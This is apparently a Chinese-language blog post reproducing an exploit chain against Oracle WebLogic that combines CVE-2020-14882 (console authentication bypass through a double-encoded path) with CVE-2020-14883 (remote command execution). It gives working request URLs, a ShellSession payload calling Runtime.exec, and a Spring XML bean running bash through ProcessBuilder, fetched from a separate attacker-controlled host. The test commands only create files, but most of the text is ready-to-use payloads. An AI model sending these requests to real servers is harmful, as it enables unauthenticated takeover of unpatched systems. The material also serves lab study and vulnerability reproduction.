这个漏洞复现,突然想起,分享一波
一.介绍
weblogic 是oracle公司推出的j2EE应用服务器.在2020年10月的更新中,oracle官方修复了两个长亭科技安全研究人员提交的漏洞,分别是CVE-2020-14882和CVE-2020-14883.
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过http协议执行任意命令
使用这两个漏洞组成的利用链,可以通过一个get请求在远程weblogic服务器上以未授权的任意用户身份执行命令
二.复现
首先测试权限绕过漏洞CVE-2020-14882,访问以下URL,即可未授权访问到管理后台页面
http://192.168.244.128:7001/console/css/%252e%252e%252fconsole.portal
关于url的二次编码问题
访问后台,可以发现我们现在是低权限用户,无法安装应用,所以也无法直接执行任意代码
此时利用CVE-2020-14883.这个漏洞的利用方式有两种,一是通过'com.tangosol.coherence.mvel2.sh.shellSess',二是通过'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApploactionContext'.
直接访问如下的url即可利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
进入容器(docker container exec -it 容器名 /bin/bash),可以发现touch /tmp/success1
已成功执行:
但是上述方法只能在weblogic 12.2.1以上的版本利用,因为10.3.6并不存在'com.tangosol.coherence.mvel2.sh.ShellSession'类.
'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApploactionContext'.是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有weblogic版本均有效.
首先,我们需要构造一个xml文件,并将其保存在weblogic可以访问到的服务器上,如http://example.com/rce.xml
:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans>
然后通过如下的url,即可让weblogic加载这个xml,并执行其中的命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.244.132/1.xml")
这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到攻击者的恶意XML。